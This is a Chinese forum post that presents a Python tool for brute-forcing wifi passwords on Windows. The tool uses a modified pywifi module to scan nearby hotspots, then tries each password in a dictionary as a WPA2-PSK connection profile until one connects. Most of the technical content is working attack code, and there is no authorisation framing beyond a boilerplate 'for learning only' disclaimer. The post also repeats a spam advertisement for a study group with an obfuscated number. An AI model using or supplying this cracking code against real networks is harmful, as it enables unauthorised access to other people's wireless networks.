T O P

[资源分享]     用Python做黑客,暴力破解wifi密码

  • By - 楼主

  • 2020-04-30 10:23:39
  • 前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可。



    在最近的公司项目开发中接触到python语言及wifi相关的一些知识,正好将最近学到的和大家分享一下。另外注意:不管你是为了Python就业还是兴趣爱好,记住:项目开发经验永远是核心,如果你没有2020最新python入门到高级实战视频教程,可以去小编的Python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,里面很多新python教程项目,还可以跟老司机交流讨教!

    0x0001 开发环境:

    windows 10+python2.7.15

    0x0002 开发目标:

    开发基于字典破解wifi热点密码的小工具

    在开发这个工具的时候笔者现在网上搜索到了一些项目,但都是linux下的,不能直接用于windows平台,因此就决定结合找到的linux下的项目,修改成windows下可运行的。
    首先找到文章《一个非常简单易懂的WIFI密码爆破python脚本》,但是文章中说使用了pywifi模块,“这个模块在win下有点鸡肋,作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使用的是Kali 2.0 自带python 2.7.6 ,可直接通过 pip install pywifi 安装。”但笔者在测试的时候发现,在windows下还是可以运行的,因为要对这个模块的源代码进行一些修改,所以就没有安装模块,而是直接拷贝模块的源代码到项目目录下。

    0x0003 模块的修改:

    在使用模块自带的测试用例时候,发现print输出了很多无用的信息,因此在_wifiutil_win.py的335行去掉对“show_my_need_info”的调用。

    0x0004 程序执行流程

    功能需求比较清晰,因此我们的步骤如下:
    1、获得本机无线网卡信息
    2、扫描周围wifi热点
    3、使用字典尝试连接wifi热点
    4、输出扫描结果

    按照上面的流程就可以编写代码了。

    0x0005 代码实现

    获得无线网信息

    引用模块后,主要使用interfaces函数获取本机无线网卡信息,具体代码封装如下:

    def get_wifi_interface(): wifi = PyWiFi() if len(wifi.interfaces()) <= 0: print u'未找到无线网卡接口!' exit() if len(wifi.interfaces()) == 1: print u'无线网卡接口: %s'%(wifi.interfaces()[0].name()) return wifi.interfaces()[0] else: print '%-4s %s'%(u'序号',u'网卡接口名称') for i,w in enumerate(wifi.interfaces()): print '%-4s %s'%(i,w.name()) while True: iface_no = raw_input('请选择网卡接口序号:'.decode('utf-8').encode('gbk')) no = int(iface_no) if no>=0 and no < len(wifi.interfaces()): return wifi.interfaces()[no]

    扫描周围热点

    主要通过scan函数获得scan_results结果,具体代码封装如下,这里sleep(2)是因为测试的时候本机的无线网卡返回信息需要一些时间,当然如果你的网卡性能好,可以去掉这个sleep:

    def scan(face): face.scan() time.sleep(2) return face.scan_results()

    尝试连接(破解密码)

    密码破解这里先要定义一个Profile,然后再将Profile作为参数调用connect进行连接尝试,使用status函数取连接结果的返回值,如果是const.IFACE_CONNECTED则连接成功,显示结果,如果是其他则为失败。

    def test(i,face,x,key,stu,ts): showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid key_index = 0 while key_index < len(key): k = key[key_index] x.key = k.strip() face.remove_all_network_profiles() profile = Profile() profile.ssid = x.ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = x.key face.connect(face.add_network_profile(profile)) code = -1 t1 = time.time() now = time.time() - t1 while True: time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code))) stu.flush() if code == const.IFACE_DISCONNECTED : break elif code == const.IFACE_CONNECTED: face.disconnect() stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now,len(key)-key_index,k.strip(),u'**成功!**')) stu.flush() return "%-20s | %s | %15s"%(x.ssid,x.bssid,k) key_index = key_index + 1 stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showID,'','','',u'失败!')) stu.flush() return False

    主要代码如上,运行效果如下:

    1.png

    问题

    这里有一个问题,就是pywifi模块的windows版本的代码里并没有实现获取wifi热点的加密状态信息,比如是使用WPA、WPA2、WPA2PSK还是WPAPSK方式加密认证的,因此我就默认将所有的wifi热点看作是开启了加密认证的,并在破解的时候视为“profile.akm.append(const.AKM_TYPE_WPA2PSK)”进行破解尝试。
    最后注意:不管你是为了Python就业还是兴趣爱好,记住:项目开发经验永远是核心,如果你没有2020最新python入门到高级实战视频教程,可以去小编的Python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,里面很多新python教程项目,还可以跟老司机交流讨教!

    本文的文字及图片来源于网络加上自己的想法,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

    本帖子中包含资源

    您需要 登录 才可以下载,没有帐号?立即注册


Image

adrien 1

真是精彩,我要來試試看多謝分享